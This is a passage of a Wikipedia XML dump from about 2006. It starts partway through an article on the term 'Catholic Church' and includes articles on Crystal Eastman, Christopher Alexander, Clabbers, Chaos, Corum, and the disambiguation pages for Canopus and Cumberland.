A letter that Saint Ignatius wrote to Christians in Smyrna in about 107 is the earliest surviving witness to the use of the term &quot;catholic Church&quot; (Smyrnaeans, 8).[1] By it Saint Ignatius designated the Christian Church in its universal aspect, excluding heretics, such as those who disavow &quot;the Eucharist to be the flesh of our Saviour Jesus Christ, which suffered for our sins, and which the Father, of His goodness, raised up again&quot; (Smyrnaeans, 7).[2] He called such people &quot;beasts in the shape of men, whom you must not only not receive, but, if it be possible, not even meet with&quot; (Smyrnaeans, 4).[3]

The use of the term &quot;Catholic&quot; to distinguish the &quot;true&quot; Church from heretical groups is found also in [[Augustine of Hippo|Saint Augustine]], who wrote:
:&quot;In the Catholic Church, there are many other things which most justly keep me in her bosom. The consent of peoples and nations keeps me in the Church; so does her authority, inaugurated by miracles, nourished by hope, enlarged by love, established by age. The succession of priests keeps me, beginning from the very seat of the [[Apostle Peter]], to whom the Lord, after His resurrection, gave it in charge to feed His sheep (Jn 21:15-19), down to the present episcopate.
:&quot;And so, lastly, does the very name of Catholic, which, not without reason, amid so many heresies, the Church has thus retained; so that, though all heretics wish to be called Catholics, yet when a stranger asks where the Catholic Church meets, no heretic will venture to point to his own chapel or house.
:&quot;Such then in number and importance are the precious ties belonging to the Christian name which keep a believer in the Catholic Church, as it is right they should ... With you, where there is none of these things to attract or keep me... No one shall move me from the faith which binds my mind with ties so many and so strong to the Christian religion... For my part, I should not believe the gospel except as moved by the authority of the Catholic Church.&quot; 
: &amp;mdash; St. Augustine (354&amp;ndash;430): ''Against the Epistle of Manichaeus called Fundamental'', chapter 4: Proofs of the Catholic Faith[http://www.ccel.org/pager.cgi?&amp;file=fathers/NPNF1-04/augustine/bk_fundamental/bk1.html&amp;from=CHAP4&amp;up=]

Earlier still, [[Cyril of Jerusalem|St Cyril of Jerusalem]] (circa 315-386) urged those he was instructing in the Christian faith: &quot;If ever thou art sojourning in cities, inquire not simply where the Lord's House is (for the other sects of the profane also attempt to call their own dens houses of the Lord), nor merely where the Church is, but where is the Catholic Church. For this is the peculiar name of this Holy Church, the mother of us all, which is the spouse of our Lord Jesus Christ, the Only-begotten Son of God&quot; (Catechetical Lectures, XVIII, 26).[http://www.newadvent.org/fathers/310118.htm]

A contemporary of Augustine, [[St. Vincent of Lerins]], wrote in 434 under the pseudonym Peregrinus a work known as the ''Commonitoria'' (&quot;Memoranda&quot;). While insisting that, like the human body, Church doctrine develops while truly keeping its identity (sections 54-59, chapter XXIII), he stated: &quot;[I]n the Catholic Church itself, all possible care must be taken, that we hold that faith which has been believed everywhere, always, by all. For that is truly and in the strictest sense 'Catholic,' which, as the name itself and the reason of the thing declare, comprehends all universally. This rule we shall observe if we follow universality, antiquity, consent. We shall follow universality if we confess that one faith to be true, which the whole Church throughout the world confesses; antiquity, if we in no wise depart from those interpretations which it is manifest were notoriously held by our holy ancestors and fathers; consent, in like manner, if in antiquity itself we adhere to the consentient definitions and determinations of all, or at the least of almost all priests and doctors&quot; (section 6, end of chapter II).

==Present-day usage==
While other Christian denominations also lay claim to the description &quot;catholic&quot;, including the [[Eastern Orthodox Church]] and those [[Protestantism|Protestant]] Churches possessing the [[historic episcopate]] (bishops), the term &quot;Catholic Church&quot; is usually associated with the Church that is also called the [[Roman Catholic Church]], and whose over one billion adherents are about half of the estimated 2.1 billion Christians. 

In countries that have been traditionally Protestant, ''Catholic'' will often be included in the official name of a particular [[parish]] church, school, [[hospice]] or other institution belonging to the Roman Catholic Church, to distinguish it from those of other [[Christianity:_Denominations|denominations]]. For example, the name &quot;St. Mark's ''Catholic'' Church&quot; seeks to make clear that it is not an [[Anglicanism|Anglican]] or [[Lutheranism|Lutheran]] church.

Those who apply the term &quot;Catholic Church&quot; to all Christians indiscriminately find it objectionable that a term that they see as designating the ''whole'' Church as an invisible entity should be used to refer to one communion only. However, the Roman Catholic Church, which holds that there can be no such thing as the Church as an &quot;invisible entity&quot; &lt;u&gt;only&lt;/u&gt;, or grouping of separated Communions, normally refers to itself simply as the Catholic Church, as shown in its publication of a &quot;[[Catechism of the Catholic Church]]&quot;.  It claims that it can basically be traced historically to the original Catholic or universal Church, from which various groups broke away over the centuries.  The [[Assyrian Church of the East]], [[Oriental Orthodoxy]] and the [[Eastern Orthodox Church]] all make the same claim in their own favour

Though normally referring to itself simply as the Catholic Church, the Roman Catholic Church accepts the latter description in its relations with other Churches. There are some instances of its application to itself, in internal documents, of the adjective &quot;Roman&quot;, to indicate the central position for it of the see of Rome. An example is its self-description as the &quot;Holy, Catholic, Apostolic and Roman Church&quot;[http://www.ewtn.com/library/COUNCILS/V1.HTM#4] in the [[24 April]] [[1870]] Dogmatic Constitution on the Catholic Faith of the [[First Vatican Council]], a document in which it also refers to itself five times as simply the Catholic Church. This practice of calling itself simply the Catholic Church is in application of the belief that those who break off cease to be part of the Catholic Church - a belief that goes back, as mentioned above, even to Saint Ignatius of Antioch, the earliest known writer to use the term ''Catholic Church'' - combined with the belief that all who are not in full [[Communion (Christianity)|communion]] with the [[Pope|See of Rome]] have &quot;broken off.&quot;

== Divergent usages ==
As noted, in addition to the [[Roman Catholic Church]], the [[Eastern Orthodox]] Churches, the [[Oriental Orthodox|Oriental Orthodox Churches]], and the [[Assyrian Church of the East]] all see themselves as the &quot;[[one holy catholic and apostolic Church]]&quot; of the [[Nicene Creed]]. [[Anglicanism|Anglicans]] and [[Old Catholic Church|Old-Catholics]] each see themselves as a Communion within that one Church, and [[Lutheranism|Lutherans]] see themselves as &quot;a reform movement within the greater Church catholic.&quot; The Orthodox do not recognize the universal primacy of the Bishop of Rome (i.e., the [[Pope]]), but do rank him as ''[[primus inter pares]]'' (&quot;first among equals&quot;) among the five major ancient Christian Patriarchates (super-metropolitical archiepiscopal Sees) of Constantinople, Alexandria, Jerusalem, Antioch, and Rome.  Anglicans and Old-Catholics accept that the Bishop of Rome is ''primus inter pares'' among all [[primates]], but they embrace [[Conciliarism]] as a necessary check on what they consider to be the &quot;excesses&quot; of Roman [[Ultramontanism]].  The Catholic Church's view of the Bishop of Rome is that he is not only ''primus inter pares,'' but that he is also given a special charism as the &quot;Successor of Peter&quot; to serve as universal pastor to the entire Church. The Catholic Church summarizes this view with the ancient quote, &quot;Where Peter is, there is the Church.&quot;  

Roman Catholics, Orthodox Christians (in general), and the Assyrian Church of the East each recognize the &quot;validity&quot; of each other's [[Eucharist]] ([[Mass (liturgy)|Mass]] or [[Divine Liturgy]]), and of the holy orders of their respective priesthoods and episcopate. The Roman Catholic Church, on the other hand, considers Anglican Holy Orders to be &quot;null and void,&quot; as declared by [[Pope Leo XIII]] in his Bull ''[[Apostolicae curae]]''. Beginning with the Encyclical Letter ''[[Saepius officio]]'' of the [[Archbishop]]s of [[Canterbury]] and [[York]] in response to ''Apostolicae curae'', Anglicans, for obvious reasons, have steadfastly rejected this claim.  At present, Old-Catholics and many Lutheran churches are in [[full communion]] with the worldwide [[Anglican Communion]], including full exchange of clergy and participation in each other's ordinations (including episcopal consecrations).  Although there were several statements made by a couple of Orthodox leaders in the early 20th century giving hope to High Anglican clergy that their priestly orders would eventually be recognized as valid by the Orthodox, today there is little variance among Orthodox patriarchs and metropolitans on the validity of Anglican Orders.  As with the Catholic Church, today the Orthodox churches universally require ordination to the priesthood for Anglican clergy that convert to Orthodoxy, evidencing the prevailing Orthodox view that the Anglican liturgy is non-sacramental in nature.  Recent decisions by various Anglican/Episcopal bishops to ordain women to the priesthood and to the episcopate have rendered any hope of formal ecclesiastical union with Orthodoxy (from the Orthodox point of view) a moot point.   

Thus, for example, in an emergency, when no Roman Catholic priest is available, a Roman Catholic may, under canon law, receive the &quot;Holy Eucharist&quot; and receive absolution from an Orthodox priest, but not from an Anglican priest. This also means that if an Episcopal or Anglican (male) priest converts to the Roman Catholic Church, the Roman Catholic Church confers ordination on him (in its view, for the first time) and excludes women from Holy Orders. This divergence of belief is a considerable block to greater unity, in spite of substantial progress in ecumenical dialogues between Anglicans and Roman Catholics since the [[Second Vatican Council]].

Recent historic ecumenical efforts on the part of Roman Catholic Church have focused on healing the rupture between the Western (the Roman or Latin) Christian Church and the Eastern Christian Church (the &quot;Greek&quot; or &quot;Orthodox&quot;). Before he was incapacitated with a degenerative illness, [[Pope John Paul II]] often spoke of his great desire that the Catholic Church &quot;once again breathe with both lungs,&quot; thus emphasizing that the Catholic Church seeks to restore full communion with the separated &quot;Byzantine&quot; and &quot;Oriental&quot; Christian Churches of the ancient East.

After the first rupture in the Catholic Church in 1054 between East and West, a brief reunification took place in the mid-15th century at the Council of Florence. The present Pope (Benedict XVI) has stated his intentions in restoring full unity with the Orthodox. From the Catholic standpoint, almost all of the ancient theological differences have been satisfactorily addressed (the Filioque clause, the nature of purgatory, etc.), and the experience of the Eastern Catholic Churches in communion with Rome has shown that the eventual reunion will not mean a &quot;Latinization&quot; of the Eastern Churches.

==Capitalization==
Capitalization is no sure guide to denominational affiliation. It may indicate formal affiliation with the (Roman) Catholic Church or it may not. Capitalization may merely indicate a wish to stress the [[holy]] and solemn nature of the [[spirituality|spiritual]] body of believers and a desire for all Christians to be one.

It would be anachronistic to attribute significance to capitalization or lack of capitalization in printings of texts dating from before the last few centuries or in translations of those texts, since the originals were written in unmixed majuscule or minuscule letters. Translations even of modern texts into English often follow the usage of the original language. For instance, since French normally capitalizes only the first word of the title of an entity, the adjective &quot;catholique&quot;, following the noun &quot;Église&quot;, has a lower-case initial. Texts in [[Latin (language)|Latin]] generally follow this usage, not the English practice.

==Avoidance of usage==
Some [[Protestantism|Protestant]] Churches avoid using the term completely. The Orthodox Churches share some of the concerns about Roman Catholic papal claims, but disagree with some Protestants about the nature of the Church as one body. For some, to use the word &quot;Catholic&quot; at all is to appear to give credence to papal claims.

==See also==
* [[Catholicism]]
* [[Roman Catholic Church]]
* [[Anglo-Catholicism]]
* [[Independent Catholic Churches]]
* [[Eastern Orthodox Churches]]
* [[Assyrian Church of the East]]
* [[Old Catholic Church]]
* [[Neo-Lutheranism]]
* [[Nicene Creed]]
* [[Catholic Epistles]]

[[Category:Christianity]]
[[Category:Eastern Orthodoxy]]
[[Category:Oriental Orthodoxy]]
[[Category:Assyrian Church of the East]]
[[Category:Roman Catholic Church]]
[[Category:Anglicanism]]
[[Category:Lutheranism]]
[[Category:Old Catholicism]]

[[sk:Katolícka cirkev]]
[[cs:Katolick%C3%A1_c%C3%ADrkev]]
[[ca:Església Catòlica]]
[[de:Katholisch]]
[[ko:&amp;#52852;&amp;#53672;&amp;#47533;]]
[[it:Chiesa cattolica]]
[[he:&amp;#1492;&amp;#1499;&amp;#1504;&amp;#1505;&amp;#1497;&amp;#1497;&amp;#1492; &amp;#1492;&amp;#1511;&amp;#1514;&amp;#1493;&amp;#1500;&amp;#1497;&amp;#1514;]]
[[lb:Kathoulesch Kierch]]
[[pl:Ko&amp;#347;ci&amp;#243;&amp;#322; katolicki]]
[[ja:&amp;#12459;&amp;#12488;&amp;#12522;&amp;#12483;&amp;#12463;&amp;#25945;&amp;#20250;]]</text>
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  <page>
    <title>Crystal Eastman</title>
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      <comment>bypassed disambiguation MA</comment>
      <text xml:space="preserve">[[Image:CrystalEastman.jpeg|thumb|200px|]]
'''Crystal Eastman''' ([[June 25]], [[1881]] - [[July 8]], [[1928]]) was a [[lawyer]], [[antimilitarism|antimilitarist]], [[feminism|feminist]], [[socialism|socialist]], and journalist. She graduated from [[Vassar College]] in [[1903]], receiving an [[Master of Arts (postgraduate)|M.A.]] in [[sociology]] from [[Columbia University]] in [[1904]]. She was second in the class of [[1907]] at [[New York University Law School]].

==Social efforts==
Social work pioneer and journal editor [[Paul Kellogg]] offered Eastman her first job, investigating labor conditions for [[The Pittsburgh Survey]] sponsored by the [[Russell Sage Foundation]]. Her report, ''Work Accidents and the Law'' ([[1910]]), became a classic and resulted in the first [[workers' compensation]] law, which she drafted while serving on a New York State commission. She continued to campaign for occupational safety and health while working as an investigating attorney for the U.S. Commission on Industrial Relations during [[Woodrow Wilson]]'s presidency.

==Emancipation==
During a brief marriage, Eastman lived in [[Milwaukee]] and managed the unsuccessful [[1912]] [[Wisconsin]] [[suffrage]] battle. When she returned east in [[1913]] she joined [[Alice Paul]], [[Lucy Burns]], and others in founding the militant [[Congressional Union]], which became the [[National Woman's Party]]. After women won the vote, Eastman and three others wrote the [[Equal Rights Amendment]] introduced in [[1923]]. One of the few socialists to endorse the ERA, she warned that protective legislation for women would mean only discrimination against women. Eastman claimed that one could assess the importance of the ERA by the intensity of the opposition to it, but she felt that &quot;''this is a fight worth fighting even if it takes ten years.''&quot;

==Peace efforts==
During [[World War I]], Eastman founded the [[Woman's Peace party]] and was president of the [[New York City|New York]] branch. Renamed the [[Women's International League for Peace and Freedom]] in [[1921]], it remains the oldest extant women's peace organization. Eastman also became executive director of the [[American Union against Militarism]], which lobbied against America's entrance into the European war and more successfully against war with Mexico in [[1916]], sought to remove profiteering from arms manufacturing, and campaigned against [[conscription]] and imperial adventures. When the United States entered World War I, Eastman organized the [[National Civil Liberties Bureau]] to protect [[conscientious objectors]], or in her words: ''To maintain something over here that will be worth coming back to when the weary war is over.'' Though never appropriately credited as a founder of the organization, which became the [[American Civil Liberties Union]], she was the attorney in charge.

Eastman had married British poet and antiwar activist [[Walter Fuller]] in [[1916]] with whom she had two children, and worked with him until the end of the war, when he returned to [[England]] to find work.

==Post-War==
After the war, Eastman organized the [[First Feminist Congress]] in [[1919]], she co-owned and edited a radical journal of politics, art, and literature, ''[[The Liberator]]'', with her brother [[Max Eastman|Max]] and she [[commuting|commuted]] between [[London]], to be with her husband, and New York, where she was blacklisted and thus rendered unemployable during the [[Red Scare]] of 1919-1921. During the [[1920s]] her only paid work was as a columnist for feminist journals, notably ''[[Equal Rights]]'' and ''[[Time and Tide]]''. Eastman claimed that &quot;''life was a big battle for the complete feminist,''&quot; but she was convinced that the complete feminist would someday achieve total victory.

Eastman has been called one of the United States' most neglected leaders, because, although she wrote pioneering legislation and created long-lasting political organizations, she disappeared from history for fifty years. 

==Reference==
[[Blanche Wiesen Cook]], ed., ''Crystal Eastman on Women and Revolution'' (1978).

[[Category:Feminists|Eastman, Crystal]]
[[Category:1881 births|Eastman, Crystal]]
[[Category:1928 deaths|Eastman, Crystal]]</text>
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  <page>
    <title>Christopher Alexander</title>
    <id>7612</id>
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      <text xml:space="preserve">A professor-emeritus (the [[University of California, Berkeley]]) and licensed contractor as well as architect, '''Christopher Alexander''' (born [[October 4]], [[1936]] in [[Vienna]], [[Austria]]) is noted for his design of building complexes in [[California]], [[Japan]], and [[Mexico]]. However, he may be famous mostly for his popular appeal and his theoretical contributions.  With [[Sarah Ishikawa]] and [[Murray Silverstein]], he produced and validated an architectural system, a [[pattern language]] designed to empower any human being to design and build quite well at any scale.  He began the project because he believes that users know more about the buildings they need than any architect could.  Based in [[England]], he continues to practice architecture and consult in planning.

==Life==
Alexander grew up in England. His education started in sciences. He was awarded the top open scholarship to [[Trinity College, Cambridge|Trinity College]], [[University of Cambridge|Cambridge University]] in 1954, in chemistry and physics and went on to read mathematics. He earned a [[Bachelor's degree]] in Architecture and a [[Master's degree]] in Mathematics. He took his doctorate in Harvard (the first [[Doctor of Philosophy|Ph.D.]] in Architecture ever awarded at [[Harvard University]]), and was elected fellow at Harvard. During the same period he worked at MIT in transportation theory and in computer science, and worked at Harvard in cognition and cognitive studies. He became professor of Architecture at Berkeley in [[1963]], taught there continuously for 38 years, and is now Professor Emeritus at the University of California. He is widely recognized as the father of the pattern language movement in computer science. He was elected Fellow of the American Academy of Arts and Sciences in 1996 for his contributions to architecture.

==Work==
===Writings===
''[[The Timeless Way of Building]]'' described the perfection of use to which buildings could aspire:

:''&quot;There is one timeless way of building. It is a thousand years old, and the same today as it has ever been. The great traditional buildings of the past, the villages and tents and temples in which man feels at home, have always been made by people who were very close to the center of this way. It is not possible to make great buildings, or great towns, beautiful places, places where you feel yourself, places where you feel alive, except by following this way. And, as you will see, this way will lead anyone who looks for it to buildings which are themselves as ancient in their form, as the trees and hills, and as our faces are.&quot;''

''[[A Pattern Language]]: Towns, Buildings, Construction'' described a practical architectural system in a form that a theoretical mathematician or computer scientist might call a [[generative grammar]].  

The work originated from an observation that many medieval cities are attractive and harmonious.  The authors said that this occurs because they were built to local regulations that required specific features, but freed the architect to adapt them to particular situations.  

The book provides rules and pictures, and leaves decisions to be taken from the precise environment of the project.  It describes exact methods for constructing practical, safe and attractive designs at every scale, from entire regions, through cities, neighborhoods, gardens, buildings, rooms, built-in furniture, and fixtures down to the level of doorknobs.  

A notable value is that the architectural system consists only of classic patterns tested in the real world and reviewed by multiple architects for beauty and practicality.  

The book includes all needed surveying and structural calculations, and a novel simplified building system that copes with regional shortages of wood and steel, uses easily-stored inexpensive materials, and produces long-lasting classic buildings with small amounts of materials, design and labor.  It first has users prototype a structure on-site in temporary materials.  Once accepted, these are finished by filling them with very-low-density concrete.  It uses [[vault]]ed construction to build as high as three stories, permitting very high densities. 

This book's method was adopted by the University of Oregon, as described in ''The [[Oregon Experiment]]'', and remains the official planning instrument.  It has also been adopted in part by some cities as a building code.

The idea of a [[pattern language]] appears to apply to any complex engineering task, and has been applied to some of them. It has been especially influential in [[software engineering]] where [[Design pattern (computer science)|patterns]] have been used to document collective knowledge in the field.

[[The Nature of Order|The Nature of Order: An Essay on the Art of Building and the Nature of the Universe]] is his latest and major work. It consists of four volumes. In it, he puts forward a new theory about the nature of the space around us and describes how this theory influences thinking about architecture, building, and so forth.

The mostly static patterns from ''A Pattern Language'' have been amended by [[sequence theory|more dynamic sequences]], which describe how to work towards patterns (which can roughly be seen as the end result of sequences). [[sequence theory|Sequences]], like [[pattern language|patterns]], promise to be tools of wider scope than building (just as his theory of space goes beyond architecture).

His other books are:

* ''The Production of Houses''
* ''A New Theory of Urban Design''
* ''A Foreshadowing of 21st Century Art, The Geometry of Very Early Turkish Carpets''
* ''The Mary Rose Museum''
* ''Notes on the Synthesis of Form''
* ''The Linz Cafe''

Published in 2002-2003
* ''The Nature of Order'' I - IV

===Buildings===
Among Alexander's most notable built works are the Eishin Campus near Tokyo; the Julian Street Inn (a homeless shelter) in [[San Jose, California]] (both described in ''Nature of Order''); the Martinez House (an experimental house in [[Martinez, California]] made of lightweight concrete); and the low-cost housing in [[Mexicali|Mexicali, Mexico]] (described in ''The Production of Houses'').

==Influence==
===Computer Science===

Alexander's [[Notes on the Synthesis of Form]] was required reading, for researchers in computer science, throughout the 1960's. [[Marvin Minsky]], Founder of MIT's Artificial Intelligence Lab, recommended it to students &amp; colleagues. It had an aesthetic influence in the 1960's &amp; 1970's on [[programming language design]], [[modular programming]], [[object-oriented programming]], [[software engineering]] and other design methodologies. Alexander's mathematical concepts and orientation were similar to [[Edsger Dijkstra]]'s influential [[A Discipline of Programming]]. 

''[[A Pattern Language]]''‘s best known conceptual effect is the [[design patterns]] movement. Alexander's philosophy of incremental, organic, coherent design influenced also the [[Extreme programming]] movement.

[[Will Wright]] wrote that Alexander's work was influential in the origin of [[The Sims]] computer game, and in his current new work.

==References==


[[Category:American architects|Alexander, Christopher]]
[[Category:Austrian architects|Alexander, Christopher]]
[[Category:1936 births|Alexander, Christopher]]
[[Category:Living people|Alexander, Christopher]]
[[Category:University of California, Berkeley faculty|Alexander, Christopher]]

[[de:Christopher Alexander]]
[[ja:クリストファー・アレグザンダー]]
[[sv:Christopher Alexander]]
[[zh:克里斯托佛·亚历山大]]</text>
    </revision>
  </page>
  <page>
    <title>Clabbers</title>
    <id>7614</id>
    <revision>
      <id>27798406</id>
      <timestamp>2005-11-09T06:56:49Z</timestamp>
      <contributor>
        <username>Unforgettableid</username>
        <id>504717</id>
      </contributor>
      <minor />
      <comment>rm 1 cat b/c it doesn't really pertain to ALL of Scrabble</comment>
      <text xml:space="preserve">[[Image:Clabbers example board.png|thumb|An example board from a game of Clabbers]]

'''Clabbers''' is a game played by tournament [[Scrabble]] players for fun, or occasionally at Scrabble variant tournaments.  The name derives from the fact that the words CLABBERS and SCRABBLE form an [[anagram]] pair.

Its rules are identical to that of Scrabble, except that valid plays are only required to form anagrams of acceptable words; in other words, the letters in a word do not need to be placed in the correct order. If a word is challenged, the player who played the word must then name an acceptable word that anagrams to the tiles played.

For example, in the board shown, the word BEERY has been played as EBRYE so as to place the Y on the [[double letter score]].

Because the number of &quot;words&quot; that can be formed is vastly larger than in [[standard English]], the board usually ends up tightly packed in places, and necessarily quite empty in others.

[[Category:Scrabble variants]]</text>
    </revision>
  </page>
  <page>
    <title>Chaos</title>
    <id>7615</id>
    <revision>
      <id>41854816</id>
      <timestamp>2006-03-02T04:10:47Z</timestamp>
      <contributor>
        <username>Shiftchange</username>
        <id>75349</id>
      </contributor>
      <minor />
      <comment>add example</comment>
      <text xml:space="preserve">{{otheruses}}

'''Chaos''' derives from the [[Greek language|Greek]] Χάος and typically refers to [[unpredictability]]. In the [[metaphysics|metaphysical]] sense, it is the opposite of [[law]] and [[order]]: unrestrictive, both creative and destructive.

The word χάος did not mean &quot;disorder&quot; in classical-period [[ancient Greece]]. It meant &quot;the primal emptiness, [[outer space|space]]&quot;. It is derived from the [[Indo-European]] [[root (linguistics)|root]] ''ghn'' or ''ghen'' meaning &quot;gape, be wide open&quot;: compare &quot;chasm&quot; (from [[Greek language|Greek]]), and [[Anglo-Saxon]] ''gānian'' (= &quot;yawn&quot;), ''geanian, ginian'' (= &quot;gape wide&quot;); see also [[Old Norse]] [[Ginnungagap|Ginnunga Gap]]. Due to people misunderstanding early Christian uses of the word, the meaning of the word changed to &quot;disorder&quot;. (''The Ancient Greek for &quot;disorder&quot; is ταραχη.'').

Mathematically chaos means an aperiodic deterministic behavior which is very sensitive to its initial conditions see [[chaos theory]].

An oft-made assumption is that the metaphysical chaos is [[evil]] and that law is [[goodness and value theory|good]]; however it should be noted these are different concepts, and it is quite possible for chaos to be good and law to be evil. One example of this would be the story of [[Robin Hood]], or the examples of oppressive governments and dictatorships being thrown off by [[freedom fighters]] such as [[Nelson Mandela]]. Chaos and order are often attributed with moral perceptions, however moral perception is order, and thus the notion of applying such a thing to chaos is quite absurd.

Chaos is also used in the [[Bible]] to refer to the earliest conditions of the universe, the unbounded space and formless matter that existed before the creation of the universe.

==See Also==
[[Hesiod's Theogony]]

[[Category:Metaphysics]]
[[Category:Greek mythology]]


[[ca:Caos]]
[[cs:Chaos]]
[[de:Chaos]]
[[el:Χάος]]
[[es:Caos]]
[[fr:Cdhaos]]
[[nl:Chaos]]
[[pl:Chaos]]
[[ru:Хаос]]
[[sv:Kaos]]
[[tr:Kaos]]</text>
    </revision>
  </page>
  <page>
    <title>Canopus (disambiguation)</title>
    <id>7616</id>
    <revision>
      <id>37074084</id>
      <timestamp>2006-01-28T12:51:44Z</timestamp>
      <contributor>
        <username>JASpencer</username>
        <id>11096</id>
      </contributor>
      <text xml:space="preserve">'''Canopus''' may refer to:

* [[Canopus (star)|Canopus]] (or Alpha [[Carina (constellation)|Carinae]]), the brightest star in the southern [[constellation]] of [[Carina (constellation)|Carina]]. 
* [[Canopus (Egypt)|Canopus]], an [[Ancient Egypt]]ian city in the [[Nile Delta]].
* In the [[Roman Catholic Church]], Canopus is a [[titular see]] of Egypt. [http://www.newadvent.org/cathen/03297b.htm]
* [[Canopus (mythology)|Canopus]], in [[Homer]]ic myth, the pilot of [[Menelaus|King Menelaus]]'s ship.
* [[Canopus (deity)|Canopus]], a deity in [[Lakota mythology]].

* ''[[Canopus (rocket)|Canopus]],'' an [[Argentina|Argentine]] [[sounding rocket]].
* [[Canopus Corporation]], a manufacturer of [[video editing card]]s and [[video editing software]].
* [[HMS Canopus|HMS ''Canopus'']], two ships of the [[Royal Navy]].
* &quot;[[Canopus (nuclear test)|Canopus]]&quot; was the name given to the first test of the [[France|French]] [[hydrogen bomb]], on [[August 24]], [[1968]], with a yield of 2.8 [[megaton|Mt]]. 
*[[Canopus Lake]], a lake in [[Clarence Fahnestock State Park]] in the USA. 

[[Category:Titular Sees]]
{{disambig}}
[[de:Canopus]]
[[it:Canopo]]
[[nl:Canopus]]
[[ja:&amp;#12459;&amp;#12494;&amp;#12540;&amp;#12503;&amp;#12473;]]</text>
    </revision>
  </page>
  <page>
    <title>Corum</title>
    <id>7617</id>
    <revision>
      <id>39700250</id>
      <timestamp>2006-02-15T06:01:33Z</timestamp>
      <contributor>
        <username>Mikereichold</username>
        <id>566926</id>
      </contributor>
      <comment>RV V</comment>
      <text xml:space="preserve">''This article is about [[Michael Moorcock]]'s fantasy hero; for other meanings, see [[Corum (disambiguation)]].''


'''Corum Jhaelen Irsei''' is the name of a fantasy hero in a series of books written by [[Michael Moorcock]].  Corum is an aspect of Moorcock's [[Eternal Champion]] and is, therefore, related to some of his other characters, such as [[Elric of Melniboné]] and [[Hawkmoon]].  His books also draw heavily on ancient Celtic mythology, especially the second trilogy.  Corum himself is the last of an ancient race called the Vadhagh, who are slaughtered by the new race of Mabden (humans).  He was a prince of his people - Corum Jhaelen Irsei, the Prince in the Scarlet Robe.

Corum is the protagonist of the following Moorcock novels:

* ''The Knight of the Swords'' (1971)
* ''The Queen of the Swords'' (1971)
* ''The King of the Swords'' (1971)
* ''The Bull and the Spear'' (1973)
* ''The Oak and the Ram'' (1973)
* ''The Sword and the Stallion'' (1974)

The first three have been published in the UK under the omnibus title ''Corum'', and the second three under the omnibus title ''The Prince with the Silver Hand''.  In the US, the omnibus titles are ''The Swords Trilogy'' and ''The Chronicles of Corum'', respectively.

In 2001 [[Darcsyde Productions]] produced a supplement for use with [[Chaosium]]'s ''[[Stormbringer (role-playing game)|Stormbringer]]'' (aka ''Elric!'') [[role-playing game]] adapting the Corum settings and characters for role-playing.

== Music ==

* The Italian metal band [[Domine]] features Corum in their song ''Prince in the Scarlet Robe'' on their ''Emperor of the Black Runes'' album. They also feature many songs dealing with [[Michael Moorcock]]'s [[Elric]] and Moorcock himself is also specifically thanked and noted as an influence in the liner notes for each of their albums.

* The German metal band [[Blind Guardian]] makes brief reference to Corum in their song ''Damned For All Time'' on their ''Follow the Blind'' album and also in the track ''Imaginations From the Other Side'' from the album of the same name. 

[[Category:Eternal Champion]]
[[Category:Series of books]]
[[Category:Michael Moorcock's Multiverse]]
[[Category:Fantasy series]]

[[es:Corum]]
[[ja:紅衣の公子コルム]]</text>
    </revision>
  </page>
  <page>
    <title>Cumberland (disambiguation)</title>
    <id>7618</id>
    <revision>
      <id>40277047</id>
      <timestamp>2006-02-19T12:54:47Z</timestamp>
      <contributor>
        <username>Penrithguy</username>
        <id>607059</id>
      </contributor>
      <minor />
      <comment>Cumberland Ward</comment>
      <text xml:space="preserve">The word '''Cumberland''' may have a variety of possible meanings.

==Places==
In the [[United Kingdom]]:
*[[Cumberland]], one of the 39 [[traditional counties of England]].  [[Cumberland sausages]] originated here. Also see [[Earl of Cumberland]] and [[Duke of Cumberland]].
*[[Cumberland (ward)]] one of the ancient divisions of the county of Cumberland

In [[Canada]]:
*[[Cumberland, British Columbia]]
*[[Cumberland, Ontario]]
*[[Cumberland County, Nova Scotia]]
*[[Cumberland House, Saskatchewan]]
'''Electoral districts'''
*[[Cumberland (N.W.T. electoral district)|Cumberland]] Northwest Territories territorial electoral district
*[[Cumberland (Saskatchewan provincial electoral district)|Cumberland]] Saskatchewan provincial electoral district
*[[Cumberland—Colchester]] Federal electoral district
*[[Cumberland—Colchester North]] Federal electoral district
*[[Cumberland (electoral district)|Cumberland]] Federal electoral district

In the [[United States]]:
*[[Cumberland, Indiana]]
*[[Cumberland, Iowa]]
*[[Cumberland, Kentucky]]
*[[Cumberland, Maine]]
*[[Cumberland, Maryland]] 
*[[Cumberland County, New York]]
*[[Cumberland, Ohio]]
*[[Cumberland County, Pennsylvania]]
*[[Cumberland, Rhode Island]]
*[[Cumberland County, Virginia]]
*[[Cumberland, Wisconsin]]
*[[Cumberland Township, Adams County, Pennsylvania]]
*[[Cumberland Township, Greene County, Pennsylvania]]

There is also 
*[[Cumberland Center, Maine]] 
*[[Cumberland City, Tennessee]] 
*[[Cumberland Gap, Tennessee]]
*[[Cumberland Head, New York]]  
*[[Cumberland Hill, Rhode Island]]
*[[Cumberland Island|Cumberland Island, Georgia]]
*[[Cumberland Valley Township, Pennsylvania]]
*[[New Cumberland, Pennsylvania]]
*[[New Cumberland, West Virginia]]

There are several places named [[Cumberland County]].

==Other geographical features==
In the United States:
*[[Cumberland Road]] a historical road, also called the Great National Pike and the National Road, was the first [[United States]] federal highway
*[[Cumberland Falls]] on the [[Cumberland River]] in Kentucky
*[[Cumberland Bay State Park]] in New York
*[[Cumberland Gap National Historical Park]] in Kentucky
*[[Cumberland Island National Seashore]] in Georgia
*The [[Cumberland Plateau]] and [[Cumberland Mountains]] in eastern Kentucky and Tennessee and western Virginia

In Canada:
*[[Cumberland Sound]] is an inlet of [[Baffin Island]], [[Canada]].
*[[Cumberland mine]] in [[Nova Scotia]].

In Australia:
* [[South Cumberland Islands National Park]] in Queensland, Australia
* [[County of Cumberland]] covers the Greater [[Sydney]] region.

==Other uses==
*[[Cumberland Blues]] was the name of a [[Grateful Dead]] song about working in the infamous 
*[[Cumberland College]] located in [[Williamsburg, Kentucky]] or the [[Cumberland Gap]].
*[[Cumberland Games and Diversions]] is a company dealing with [[adventure game]]s.
*[[Cumberland University]], in [[Lebanon, Tennessee]]
*Two [[United States Navy|U.S. Navy]] ships named [[USS Cumberland|USS ''Cumberland'']]
*Ships in [[Royal Navy]] ship named [[HMS Cumberland|HMS ''Cumberland'']]
*Some notable persons names [[Richard Cumberland]]
*[[Cumberland (Rugby League)|Cumberland]] were a team in the inaugural [[New South Wales Rugby League]] competition.

{{disambig}}

[[fr:Cumberland]]
[[pl:Cumberland]]
[[ru:Камберленд]]
[[sk:Cumberland]]
[[sl:Cumberland (razločitev)]]</text>
    </revision>
  </page>
